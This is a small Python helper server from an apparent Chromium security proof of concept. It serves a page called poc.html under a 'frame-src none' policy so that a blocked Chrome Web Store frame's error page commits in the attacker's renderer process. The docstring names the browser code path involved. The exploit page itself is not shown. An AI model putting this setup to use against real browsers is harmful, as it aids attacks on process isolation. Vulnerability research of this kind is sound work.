#!/usr/bin/env python3
"""HTTP server for the POC.

Serves poc.html with `Content-Security-Policy: frame-src 'none'` so that the
iframe navigation to https://chromewebstore.google.com/ is blocked with
net::ERR_BLOCKED_BY_CSP. That error is in net::IsRequestBlockedError() and
the subframe is not error-page-isolated, so the error page commits in the
parent (attacker) renderer's process via
NavigationRequest::ComputeErrorPageProcess() == kCurrentProcess.
"""

import http.server
import os
import socketserver

PORT = 8080


class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(
            *args, directory=os.path.dirname(os.path.abspath(__file__)), **kwargs
        )

    def end_headers(self):
        self.send_header("Content-Security-Policy", "frame-src 'none'")
        self.send_header("Cache-Control", "no-store")
        super().end_headers()


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
        print(f"serving on http://127.0.0.1:{PORT}/poc.html", flush=True)
        httpd.serve_forever()